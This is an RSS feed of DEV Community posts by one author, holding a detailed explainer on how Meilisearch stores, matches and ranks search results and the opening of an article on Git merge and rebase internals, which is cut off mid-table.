<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Syed Anzar</title>
    <description>The latest articles on DEV Community by Syed Anzar (@syed_anzar).</description>
    <link>https://dev.to/syed_anzar</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4069010%2Fda8f710a-f285-4309-8c69-770badbe9c7b.jpg</url>
      <title>DEV Community: Syed Anzar</title>
      <link>https://dev.to/syed_anzar</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/syed_anzar"/>
    <language>en</language>
    <item>
      <title>Meilisearch Under the Hood: What Actually Happens Between search() and a 10ms Result</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Thu, 26 Nov 2026 13:30:14 +0000</pubDate>
      <link>https://dev.to/syed_anzar/meilisearch-under-the-hood-what-actually-happens-between-search-and-a-10ms-result-39gl</link>
      <guid>https://dev.to/syed_anzar/meilisearch-under-the-hood-what-actually-happens-between-search-and-a-10ms-result-39gl</guid>
      <description>&lt;h1&gt;
  
  
  Meilisearch: The Open-Source Algolia Alternative (What Actually Happens Between search() and a 10ms Result)
&lt;/h1&gt;

&lt;p&gt;Most search features start the same way. You write a query like &lt;code&gt;SELECT * FROM products WHERE name ILIKE '%phon%'&lt;/code&gt; against PostgreSQL or MySQL. &lt;/p&gt;

&lt;p&gt;At ten thousand rows, it feels instant. At one million rows, your database cpu spikes to 100%, sequential disk scans thrash your buffer pool, and users wait two seconds per keystroke. Worse, if a user mistypes "phome", your database returns zero results.&lt;/p&gt;

&lt;p&gt;The standard industry answer is either to pay thousands of dollars a month for a hosted Algolia cluster, or deploy a heavy Elasticsearch node that requires 4GB of JVM heap just to stay alive without throwing out-of-memory errors.&lt;/p&gt;

&lt;p&gt;Meilisearch took a radically different path. Written in Rust and powered by an internal engine called &lt;strong&gt;Milli&lt;/strong&gt;, it runs inside a single binary, fits comfortably on a $5 Linux virtual server, and delivers typo-tolerant prefix search in under 10 milliseconds.&lt;/p&gt;

&lt;p&gt;How does it pull this off without a JVM, without massive background caches, and without calculating edit distances against millions of strings on every keystroke?&lt;/p&gt;

&lt;p&gt;Here is what actually happens under the hood when your frontend calls &lt;code&gt;POST /indexes/products/search&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Storage Engine: Zero-Copy LMDB via Memory Mapping
&lt;/h2&gt;

&lt;p&gt;Traditional search engines keep custom application-level buffer pools in memory. Lucene and Elasticsearch manage segments on disk, load terms into the JVM heap, and rely on garbage collection to cycle memory.&lt;/p&gt;

&lt;p&gt;Meilisearch skips user-space buffer management entirely. Underneath its Milli search engine, Meilisearch uses &lt;strong&gt;LMDB&lt;/strong&gt; (Lightning Memory-Mapped Database) through the Rust &lt;code&gt;heed&lt;/code&gt; crate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+---------------------------------------------------------------+
|                      MEILISEARCH ENGINE                       |
+---------------------------------------------------------------+
| HTTP REST Layer (Actix-web / Tokio Async Runtime)             |
+---------------------------------------------------------------+
                               |
                               v
+---------------------------------------------------------------+
| Milli Search Core (Rust)                                      |
| - Levenshtein Automata (DFA Intersection over FST)            |
| - Roaring Bitmaps (SIMD-accelerated Set Intersections)        |
| - 6-Stage Bucket Sort (Words -&amp;gt; Typo -&amp;gt; Proximity...)         |
+---------------------------------------------------------------+
                               |
                               v
+---------------------------------------------------------------+
| LMDB via `heed` Crate                                         |
| - Memory-Mapped I/O (mmap) straight into OS Page Cache        |
| - Single-Writer, Multi-Reader MVCC (B+ Trees)                 |
| - Zero User-Space Buffer Copies                               |
+---------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;LMDB is an embedded B+ tree key-value store that relies directly on the operating system's virtual memory subsystem via &lt;code&gt;mmap()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When Meilisearch opens an index, it does not read gigabytes of index files into heap allocations. Instead, it asks the Linux kernel to map the index file (&lt;code&gt;data.mdb&lt;/code&gt;) directly into the process's virtual address space. &lt;/p&gt;

&lt;p&gt;When a search query needs a word record or a posting list, the CPU reads the mapped virtual address directly. If the page is already in the Linux page cache (RAM), the CPU accesses the bytes instantly with zero user-space memory copies. If the page is not in RAM, the CPU triggers a minor page fault, and the kernel loads the 4KB memory page directly from NVMe storage into the page cache.&lt;/p&gt;

&lt;p&gt;Because Meilisearch does not run a garbage collector, it produces zero GC pauses. Search queries run concurrently across worker threads using read-only MVCC transactions (&lt;code&gt;RoTxn&lt;/code&gt;). Readers never block other readers, and readers never block indexing writers.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Typo Tolerance: Why Naive Levenshtein Destroys Latency
&lt;/h2&gt;

&lt;p&gt;If you search for &lt;code&gt;smartphon&lt;/code&gt;, you want documents containing &lt;code&gt;smartphone&lt;/code&gt; to match with 1 typo.&lt;/p&gt;

&lt;p&gt;The naive way to implement typo tolerance is computing the Levenshtein or Damerau-Levenshtein edit distance between the input string and every word in the dictionary:&lt;/p&gt;

&lt;p&gt;$$\text{Time Complexity} = O(V \cdot L_1 \cdot L_2)$$&lt;/p&gt;

&lt;p&gt;Where $V$ is your vocabulary size (e.g., 250,000 unique words) and $L$ is word length. Calculating dynamic programming matrices 250,000 times per keystroke takes several hundred milliseconds. For search-as-you-type at 60 frames per second, naive distance calculation is impossible.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Levenshtein Automaton Breakthrough
&lt;/h3&gt;

&lt;p&gt;Milli solves this using &lt;strong&gt;Levenshtein Automata&lt;/strong&gt;, an algorithmic method formalised by Klaus Schulz and Stoyan Mihov.&lt;/p&gt;

&lt;p&gt;Instead of comparing the query word to every word in the dictionary, Meilisearch converts the user query into a &lt;strong&gt;Deterministic Finite Automaton (DFA)&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;A Levenshtein automaton for a search word $W$ and maximum edit distance $k$ is a state machine that accepts any string within edit distance $k$ of $W$.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Query: "cat" (max edit distance k = 1)

State transitions track insertions, deletions, and substitutions:
       'c'           'a'           't'
(0,0) ------&amp;gt; (1,0) ------&amp;gt; (2,0) ------&amp;gt; ((3,0)) [Exact match, 0 typos]
  |             |             |
  | edit        | edit        | edit
  v             v             v
(0,1) ------&amp;gt; (1,1) ------&amp;gt; (2,1) ------&amp;gt; ((3,1)) [Match with 1 typo]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At the same time, the entire vocabulary of the index is stored as a &lt;strong&gt;Finite State Transducer (FST)&lt;/strong&gt;, which is essentially a compressed prefix tree (trie) where common prefixes and suffixes are shared.&lt;/p&gt;

&lt;p&gt;To find all matching words with typo tolerance, Milli performs an &lt;strong&gt;automaton intersection&lt;/strong&gt;: it traverses the vocabulary FST and the query Levenshtein DFA simultaneously.&lt;/p&gt;

&lt;p&gt;If a path in the vocabulary FST enters an error state in the DFA (meaning the edit distance already exceeds $k=1$ or $k=2$), the engine rejects that entire branch immediately. &lt;/p&gt;

&lt;p&gt;Instead of evaluating hundreds of thousands of words, whole subtrees containing 50,000 words are discarded in single-digit nanoseconds. The engine finds all valid typo candidates in under 0.2 milliseconds.&lt;/p&gt;

&lt;h3&gt;
  
  
  Default Typo Thresholds
&lt;/h3&gt;

&lt;p&gt;By default, Meilisearch enforces strict typo rules based on word byte length:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;0 to 4 characters:&lt;/strong&gt; 0 typos allowed (prevents noisy matches on short words like "cat" or "sql")&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;5 to 8 characters:&lt;/strong&gt; 1 typo allowed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;9 or more characters:&lt;/strong&gt; 2 typos allowed&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Posting Lists: Roaring Bitmaps and SIMD Set Intersections
&lt;/h2&gt;

&lt;p&gt;Once the engine identifies the valid words for a query, it needs to find the documents containing those words and apply filters (such as &lt;code&gt;in_stock = true AND price &amp;lt; 500&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;In search engine terminology, the list of document IDs associated with a term is called a &lt;strong&gt;posting list&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;Every document in Meilisearch receives an internal 32-bit unsigned integer ID (&lt;code&gt;docid&lt;/code&gt;). Rather than storing docids as raw integer arrays or linked lists, Meilisearch stores them using &lt;strong&gt;Roaring Bitmaps&lt;/strong&gt; (via the &lt;code&gt;roaring&lt;/code&gt; Rust crate).&lt;/p&gt;

&lt;h3&gt;
  
  
  How Roaring Bitmaps Work
&lt;/h3&gt;

&lt;p&gt;A standard 32-bit uncompressed bitmap for 10 million documents would consume 1.25 MB per term, regardless of whether a term matches 5 documents or 5 million documents.&lt;/p&gt;

&lt;p&gt;Roaring Bitmaps solve this by partitioning 32-bit integers into chunks based on the top 16 bits. The lower 16 bits are stored in one of three container types depending on data density:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;32-bit Document ID:
[ Higher 16 bits: Chunk Index ]  |  [ Lower 16 bits: Container Data ]

Container Types:
1. Array Container (&amp;lt; 4,096 IDs):
   Stores sorted 16-bit integers directly. Memory: 2 bytes per ID.

2. Bitset Container (&amp;gt;= 4,096 IDs):
   Converts to a 65,536-bit (8 KB) bitset. Memory: exactly 8,192 bytes.

3. Run Container (Contiguous sequences, e.g., docids 1000..5000):
   Stores pairs of [start, length]. Extremely compact for sequential inserts.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When two bitset containers need to intersect (&lt;code&gt;word_docids("phone") AND word_docids("apple")&lt;/code&gt;), the CPU executes bitwise &lt;code&gt;AND&lt;/code&gt; instructions across 64-bit words, accelerated by AVX-512 or AVX2 SIMD vector registers. &lt;/p&gt;

&lt;p&gt;Millions of candidate documents are filtered down in microseconds, staying entirely within L1 and L2 CPU caches.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Ranking: The 6-Criteria Bucket Sort
&lt;/h2&gt;

&lt;p&gt;Most search engines (like Lucene, Solr, and Elasticsearch) use probabilistic scoring algorithms like BM25 or TF-IDF. &lt;/p&gt;

&lt;p&gt;BM25 calculates a floating-point score based on term frequency, inverse document frequency, and field length. The engine then sorts all matching documents by their floating-point score. While flexible, calculating and sorting floating-point scores across 500,000 candidates adds significant compute overhead.&lt;/p&gt;

&lt;p&gt;Milli uses a different approach: &lt;strong&gt;Bucket Sort with Sequential Ranking Rules&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of assigning a single composite number to each document, Milli evaluates candidates through a pipeline of sequential ranking rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;All Matching Candidate Documents
               |
               v
    +--------------------+
    |      1. Words      |  -&amp;gt; Groups by number of matched query terms
    +--------------------+
               |
               v
    +--------------------+
    |      2. Typo       |  -&amp;gt; Ties broken by number of typos (0 vs 1 vs 2)
    +--------------------+
               |
               v
    +--------------------+
    |    3. Proximity    |  -&amp;gt; Ties broken by distance between query words
    +--------------------+
               |
               v
    +--------------------+
    |    4. Attribute    |  -&amp;gt; Ties broken by field weight (title &amp;gt; body)
    +--------------------+
               |
               v
    +--------------------+
    |      5. Sort       |  -&amp;gt; Ties broken by user sort (e.g. price:asc)
    +--------------------+
               |
               v
    +--------------------+
    |    6. Exactness    |  -&amp;gt; Ties broken by exact match vs prefix
    +--------------------+
               |
               v
    Top K Results (e.g. limit: 20)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How the Buckets Refine Candidates
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Words:&lt;/strong&gt; Documents containing all search terms land in the top bucket. Documents missing one word land in the next bucket.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Typo:&lt;/strong&gt; Within the top bucket, documents matching with 0 typos outrank documents matching with 1 typo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proximity:&lt;/strong&gt; Milli checks the &lt;code&gt;word_pair_proximity_docids&lt;/code&gt; database. If your query is "wireless headphones", documents where those two words sit directly next to each other (distance = 1) outrank documents where "wireless" is in the title and "headphones" appears forty words later in the description.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attribute:&lt;/strong&gt; Matches found in high-priority fields (defined in &lt;code&gt;searchableAttributes&lt;/code&gt;, like &lt;code&gt;title&lt;/code&gt;) outrank matches in lower-priority fields (&lt;code&gt;description&lt;/code&gt; or &lt;code&gt;sku&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sort:&lt;/strong&gt; Any custom sort parameter specified in the request (e.g., &lt;code&gt;price:asc&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exactness:&lt;/strong&gt; Documents where the query word matches the entire token outrank documents where the query matched only as a prefix.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Early Short-Circuiting
&lt;/h3&gt;

&lt;p&gt;Because the bucket sort works sequentially, it short-circuits. If your query asks for &lt;code&gt;limit=20&lt;/code&gt; and the first rule (&lt;code&gt;Words&lt;/code&gt;) places 15 documents in Bucket 1 and 100 documents in Bucket 2, the remaining rules only need to refine Bucket 1 and the top slice of Bucket 2. &lt;/p&gt;

&lt;p&gt;The engine never wastes CPU cycles ordering thousands of lower-ranked documents that will never appear on page one.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Search-As-You-Type: The Prefix Inverted Index
&lt;/h2&gt;

&lt;p&gt;When a user types "iph", they have not finished their word. They expect results for "iphone" immediately.&lt;/p&gt;

&lt;p&gt;In many databases, implementing prefix search requires either expensive &lt;code&gt;LIKE 'iph%'&lt;/code&gt; index range scans or generating every possible n-gram during indexing (which inflates index size by 5x to 10x).&lt;/p&gt;

&lt;p&gt;Meilisearch treats the final token of every search query as a prefix by default.&lt;/p&gt;

&lt;p&gt;To keep this fast, Milli maintains two distinct inverted index tables in LMDB:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;word_docids&lt;/code&gt;: Maps complete words to their document IDs.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;word_prefix_docids&lt;/code&gt;: Maps word prefixes to the union of document IDs whose tokens start with that prefix.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you type "iph", the engine looks up &lt;code&gt;word_prefix_docids("iph")&lt;/code&gt; directly. The lookup returns the pre-computed Roaring Bitmap of all matching documents in a single B+ tree seek.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. The End-to-End Query Lifecycle
&lt;/h2&gt;

&lt;p&gt;When an HTTP search request arrives, here is the exact sequence of events:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client Request: POST /indexes/products/search {"q": "cordles drill"}
                                |
1. HTTP Ingestion               v
   Actix-web worker receives JSON payload. Decodes query string.
                                |
2. Tokenization &amp;amp; Parsing       v
   Tokenizer splits input: ["cordles", "drill"]. 
   Identifies "cordles" as full word, "drill" as potential prefix.
                                |
3. Transaction Initialization   v
   Opens read-only LMDB transaction (heed::RoTxn). Zero locks acquired.
                                |
4. Candidate Extraction         v
   - Levenshtein DFA intersects FST dictionary: accepts "cordless" (1 typo).
   - Prefix FST lookup: accepts "drill", "drilling", "drills".
   - Retrieves posting lists as RoaringBitmaps from LMDB.
                                |
5. Filter Evaluation            v
   Applies any filter clause via bitwise SIMD AND/OR against candidate bitsets.
                                |
6. Bucket Sort Execution        v
   Evaluates Words -&amp;gt; Typo -&amp;gt; Proximity -&amp;gt; Attribute -&amp;gt; Sort -&amp;gt; Exactness.
   Short-circuits once requested page limit (e.g. 20 hits) is satisfied.
                                |
7. Document Hydration           v
   Fetches the 20 winning docids from LMDB's documents database.
   Applies highlighting and crop snippets if requested.
                                |
8. Response Dispatch            v
   Serializes response to JSON. Streams back over HTTP.
   Total Wall-Clock Elapsed Time: 2.8ms to 6.4ms.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Production Gotchas and Tuning
&lt;/h2&gt;

&lt;p&gt;While Meilisearch is simple to deploy, running it in high-throughput production environments comes with several technical details you must know:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The LMDB Sparse File Characteristic
&lt;/h3&gt;

&lt;p&gt;If you inspect Meilisearch's data folder on Linux:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ls -lh /var/lib/meilisearch/data.msif
&lt;span class="c"&gt;# Output might show: 100G&lt;/span&gt;

du -sh /var/lib/meilisearch/data.msif
&lt;span class="c"&gt;# Output shows: 2.4G&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do not panic. LMDB creates a sparse file that reserves virtual address space (&lt;code&gt;map_size&lt;/code&gt;), typically defaulting to 100GB or more on 64-bit systems. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;ls&lt;/code&gt; utility reports the maximum virtual address ceiling, whereas &lt;code&gt;du&lt;/code&gt; reports actual disk blocks allocated on physical storage. Ensure your monitoring alerts check &lt;code&gt;du&lt;/code&gt; (or &lt;code&gt;statvfs&lt;/code&gt;), not raw file size headers.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Indexing Memory Spikes
&lt;/h3&gt;

&lt;p&gt;Reading from an index uses minimal memory because pages live in the OS cache. Indexing, however, is resource-intensive. &lt;/p&gt;

&lt;p&gt;When you batch-insert 500,000 JSON documents, Milli creates intermediate sorting chunks using &lt;code&gt;grenad&lt;/code&gt; (an external merge-sort library). If you do not limit indexing memory on a modest virtual machine, the Linux kernel OOM killer will terminate the process.&lt;/p&gt;

&lt;p&gt;Always configure the memory limit in your environment or systemd unit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Bound indexing memory to 2GB on a 4GB RAM server&lt;/span&gt;
&lt;span class="nv"&gt;MEILI_MAX_INDEXING_MEMORY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2GiB
&lt;span class="nv"&gt;MEILI_MAX_INDEXING_THREADS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Attribute Ranking Order Matters
&lt;/h3&gt;

&lt;p&gt;In Meilisearch, the order of &lt;code&gt;searchableAttributes&lt;/code&gt; directly controls the &lt;code&gt;Attribute&lt;/code&gt; ranking rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"searchableAttributes"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s2"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"brand"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"categories"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"description"&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a customer searches for "Sony", a product with "Sony" in the &lt;code&gt;title&lt;/code&gt; will always rank above a product with "Sony" buried in the &lt;code&gt;description&lt;/code&gt;. Placing long text fields before identity fields is the most frequent cause of relevance degradation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Memory-mapped I/O:&lt;/strong&gt; Meilisearch delegates cache management to the Linux kernel via LMDB and &lt;code&gt;mmap()&lt;/code&gt;, eliminating JVM heap overhead, user-space buffer copies, and garbage collection pauses.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automaton intersection:&lt;/strong&gt; Typo tolerance does not scan dictionary words. It turns the search query into a Levenshtein DFA and traverses an FST dictionary, pruning non-matching branches in nanoseconds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Roaring Bitmaps:&lt;/strong&gt; Candidate document IDs and filter intersections operate as compressed 32-bit chunked bitsets processed via SIMD vector instructions inside CPU cache.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bucket sort vs BM25:&lt;/strong&gt; Relevance is computed using successive bucket sorting across six criteria (words, typos, word proximity, attribute importance, custom sort, exactness), short-circuiting once page limits are met.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Self-hosting viability:&lt;/strong&gt; By combining Rust with memory-mapped data structures, Meilisearch provides a sub-10ms, typo-tolerant search experience on a standard $5 Linux VPS, replacing expensive third-party SaaS search subscriptions without operational complexity.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>meilisearch</category>
      <category>rust</category>
      <category>database</category>
      <category>systems</category>
    </item>
    <item>
      <title>Git Merge vs Git Rebase: What Actually Happens Under the Hood</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Wed, 25 Nov 2026 07:36:39 +0000</pubDate>
      <link>https://dev.to/syed_anzar/git-merge-vs-git-rebase-what-actually-happens-under-the-hood-25m4</link>
      <guid>https://dev.to/syed_anzar/git-merge-vs-git-rebase-what-actually-happens-under-the-hood-25m4</guid>
      <description>&lt;p&gt;Most developers learn Git merge and rebase through hand-wavy whiteboard diagrams. In those drawings, a merge creates a diamond shape, while a rebase turns a messy tree into a neat, straight line. Senior engineers usually summarize the difference with a tidy rule of thumb: "Rebase moves your branch to the tip of main."&lt;/p&gt;

&lt;p&gt;That explanation is easy to remember, but it misrepresents how Git works. Git never moves a commit. In Git's object store, commits are cryptographically immutable. You cannot edit, shift, or transplant a node in a directed acyclic graph (DAG).&lt;/p&gt;

&lt;p&gt;When you run &lt;code&gt;git rebase&lt;/code&gt;, Git does not move anything. It creates brand-new commit objects with different hashes, leaves the old commits abandoned in your object database, and quietly repoints a text file under &lt;code&gt;.git/refs/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Understanding what Git actually does with blobs, trees, commit pointers, and the merge engine makes the entire "merge vs rebase" debate straightforward.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. The Git Object Store: Commits Are Immutable
&lt;/h2&gt;

&lt;p&gt;To understand merging and rebasing, you have to look at what Git stores on disk inside &lt;code&gt;.git/objects/&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Git is fundamentally a content-addressable key-value store with four primitive object types:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Blob&lt;/strong&gt;: Raw file contents, indexed by the hash of their payload. Blobs have no file names and no timestamps.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tree&lt;/strong&gt;: A directory listing that maps file names and Unix permissions to blob hashes or sub-tree hashes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Commit&lt;/strong&gt;: A small text block containing a pointer to a root tree object, one or more parent commit hashes, author metadata, committer metadata, and a log message.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Annotated Tag&lt;/strong&gt;: A permanent pointer to a specific commit object with a tagger signature.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can inspect any commit directly with &lt;code&gt;git cat-file&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ git cat-file -p HEAD
tree 4b825dc642cb6eb9a060e54bf8d69288fbee4904
parent a1b2c3d4e5f678901234567890abcdef12345678
author Sarah Chen &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;sarah@example.com&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 1732512000 +0000
committer Sarah Chen &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;sarah@example.com&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; 1732512000 +0000

Fix connection pool exhaustion &lt;span class="k"&gt;in&lt;/span&gt; database client
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A commit hash is the SHA-1 (or SHA-256 in newer repos) of those exact lines. &lt;/p&gt;

&lt;p&gt;Because the hash includes the parent hash, every commit forms a cryptographically linked chain back to the root commit of the repository. If you change a single comma in a file, the blob hash changes. That changes the tree hash, which changes the commit hash. &lt;/p&gt;

&lt;p&gt;More importantly, if you change a commit's parent, its author timestamp, or its committer timestamp, its hash changes completely. &lt;/p&gt;

&lt;p&gt;A branch in Git is not a container of commits. A branch is just a 41-byte text file inside &lt;code&gt;.git/refs/heads/&lt;/code&gt; that stores the 40-character hex hash of a single commit, plus a newline. When you "switch branches," Git merely updates the &lt;code&gt;HEAD&lt;/code&gt; pointer to point to a different text file.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What &lt;code&gt;git merge&lt;/code&gt; Actually Does
&lt;/h2&gt;

&lt;p&gt;Suppose you branch &lt;code&gt;feature&lt;/code&gt; off &lt;code&gt;main&lt;/code&gt;. Both branches have accumulated new commits:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;      B --- C  [feature]
     /
A --- D --- E  [main, HEAD]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you run &lt;code&gt;git checkout main &amp;amp;&amp;amp; git merge feature&lt;/code&gt;, Git executes a three-stage pipeline.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step A: Finding the Merge Base
&lt;/h3&gt;

&lt;p&gt;Before Git compares any files, it finds the Lowest Common Ancestor (LCA) of the two branch tips in the DAG. Git calls this commit the &lt;strong&gt;merge base&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Git traverses the DAG backwards from both branch tips using commit generation numbers. In our graph, the merge base is commit &lt;strong&gt;A&lt;/strong&gt;. You can check this manually at any time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;$ git merge-base main feature
a1b2c3d... &lt;span class="o"&gt;(&lt;/span&gt;Commit A&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step B: Fast-Forward vs Three-Way Merge
&lt;/h3&gt;

&lt;p&gt;Git checks whether a new commit is even necessary:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fast-forward merge&lt;/strong&gt;: If the merge base between two branches is identical to the current &lt;code&gt;HEAD&lt;/code&gt; (meaning &lt;code&gt;main&lt;/code&gt; never moved while you worked on &lt;code&gt;feature&lt;/code&gt;), there is no divergent history. Git skips the merge engine entirely. It opens &lt;code&gt;.git/refs/heads/main&lt;/code&gt; and overwrites its hash with the hash of commit &lt;code&gt;C&lt;/code&gt;. No new commit object is minted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Three-way merge&lt;/strong&gt;: If &lt;code&gt;main&lt;/code&gt; and &lt;code&gt;feature&lt;/code&gt; have both advanced since commit &lt;code&gt;A&lt;/code&gt;, Git cannot fast-forward. It must run a full three-way merge.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step C: The Three-Way Merge Engine
&lt;/h3&gt;

&lt;p&gt;A naive two-way diff between &lt;code&gt;E&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; cannot determine intent. If line 42 in &lt;code&gt;E&lt;/code&gt; says &lt;code&gt;timeout = 5&lt;/code&gt; and line 42 in &lt;code&gt;C&lt;/code&gt; says &lt;code&gt;timeout = 10&lt;/code&gt;, which one is right? Did &lt;code&gt;main&lt;/code&gt; change it from 10 to 5, or did &lt;code&gt;feature&lt;/code&gt; change it from 5 to 10?&lt;/p&gt;

&lt;p&gt;A two-way diff cannot tell. That is why Git requires the merge base &lt;strong&gt;A&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Git compares:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Diff 1: Base &lt;code&gt;A&lt;/code&gt; -&amp;gt; Current &lt;code&gt;E&lt;/code&gt; (Ours)&lt;/li&gt;
&lt;li&gt;Diff 2: Base &lt;code&gt;A&lt;/code&gt; -&amp;gt; Incoming &lt;code&gt;C&lt;/code&gt; (Theirs)&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;In Merge Base A&lt;/th&gt;
&lt;th&gt;In Ours (E)&lt;/th&gt;
&lt;th&gt;In Theirs (C)&lt;/th&gt;
&lt;th&gt;Resolution&lt;/th&gt;
&lt;/tr&gt;
